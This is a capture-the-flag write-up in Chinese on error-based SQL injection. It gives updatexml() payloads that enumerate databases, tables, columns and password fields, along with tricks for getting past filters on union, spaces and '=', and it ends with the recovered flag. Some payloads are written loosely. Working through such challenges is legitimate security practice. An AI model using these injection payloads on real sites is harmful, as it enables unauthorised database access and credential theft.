1.第一步猜测是什么闭合 一般用’ 或者 ‘’ 或者 ‘) 或者 ‘’)
当我们用’闭合发现报错说明可能是 ’ 这个时候再加注释 可以用%23、–+、#、–空格
这时候我们加上注释发现就不报错了,那么可以认定就是’闭合
3.这时候我们用order by 查看回显发现过滤了
4.这个时候我们就要在1’ 这个中间试有哪些被过滤了%23,发现select,from,or都报错了,没有回显’你可别被我逮住了,说明select,from,or都没有被过滤,但是union被过滤了,淦!!!那么正常的0’union select group_concat(schema_name)from information_schema.schemata用不了
5.那用不了union 但是我们可以用双注入
1.updatexml(1,concat(0x7e,database(),0x7e),1)
显示单个数据库
2.updatexml(1,concat(0x7e,select group_concat(schema_name)from information_schema.schemata,0x7e),1)
显示所有数据库
3.updatexml(1,concat(0x7e,select group_concat(table_name)from information_schema.tables where table_schema=database(),0x7e),1)
显示所有数据表
4.updatexml(1,concat(0x7e,select group_concat(column_name)from information_schema.columns where table_name=xxx,0x7e),1)
显示所有列
5.updatexml(1,concat(0x7e,select group_concat(id ,passwd,)from 某某库.某某表,0x7e),1)
6 or没被过滤其他也没有过滤,之前默默试了concat、1,updatexml,那么真相只有一个那就空格~呜呜呜真有他么的
7.果然是这个该死的空格,那么我们就用括号绕过
8.爆出数据表geek
9.很明显还有geek没有爆出来,位置不够,那怎么办勒,用left()、right()
10.也不行,那就用database()回显回来的geek,就不要勉强全部回显
11.因为=被过滤所以用like代替,爆出表
12.爆出数据列
13.爆值,结果有一半没出来,继续用left,right
14.XPATH syntax error: ‘flag{eb36352e-cbdb-4710-aa92-9’
right()=XPATH syntax error: ‘e-cbdb-4710-aa92-9e614ec6ddfd}’
组合一下flag{eb36352e-cbdb-4710-aa92-9e614ec6ddfd}